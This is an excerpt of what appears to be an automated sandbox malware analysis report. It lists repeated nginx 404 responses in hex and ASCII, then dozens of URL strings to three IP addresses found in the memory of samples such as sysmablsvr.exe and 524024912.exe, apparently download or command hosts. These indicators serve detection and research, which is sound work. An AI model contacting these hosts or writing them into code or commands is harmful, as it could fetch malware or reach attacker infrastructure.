Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:51 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:56 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:12:59 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:13:02 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Sep 2024 21:13:04 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: file.exe, sysmablsvr.exe.0.dr	String found in binary or memory: http://185.215.113.66/
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878878518.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878685410.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1.
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878878518.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000003.1878685410.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1C:
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1F
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4#
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4t
Source: sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5%
Source: sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5ystem32
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/6
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/6o
Source: file.exe, sysmablsvr.exe.0.dr	String found in binary or memory: http://185.215.113.66/http://77.91.77.92/http://91.202.233.141/123456%s%s%s:Zone.Identifier%userprof
Source: file.exe, sysmablsvr.exe.0.dr	String found in binary or memory: http://77.91.77.92/
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1/3
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1/6
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1/68l
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1/6T
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1:
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/1Microsoft.Wi
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234854329.000000000221B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/2
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/2/5
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234854329.000000000221B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/2/6
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/26
Source: sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/26q
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/3P
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/3h
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/4
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/5
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/51
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.92/6
Source: file.exe, sysmablsvr.exe.0.dr	String found in binary or memory: http://91.202.233.141/
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1C:
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1JJC:
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1K
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/1Y
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/2
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/23
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/3
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/4
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/5
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6%
Source: sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/6.
Source: sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/65P
Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/H
Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/PLTRESA
Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/PLTRESAA
Source: 524024912.exe, 00000007.00000000.2434511449.0000000000222000.00000002.00000001.01000000.00000008.sdmp, 524024912.exe, 00000007.00000002.2489367139.0000000000222000.00000002.00000001.01000000.00000008.sdmp, 524024912.exe.1.dr	String found in binary or memory: http://91.202.233.141/PLTRESAMozilla/5.0
Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/PLTRESAd
Source: 524024912.exe, 00000007.00000002.2490877099.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/PLTRESAz
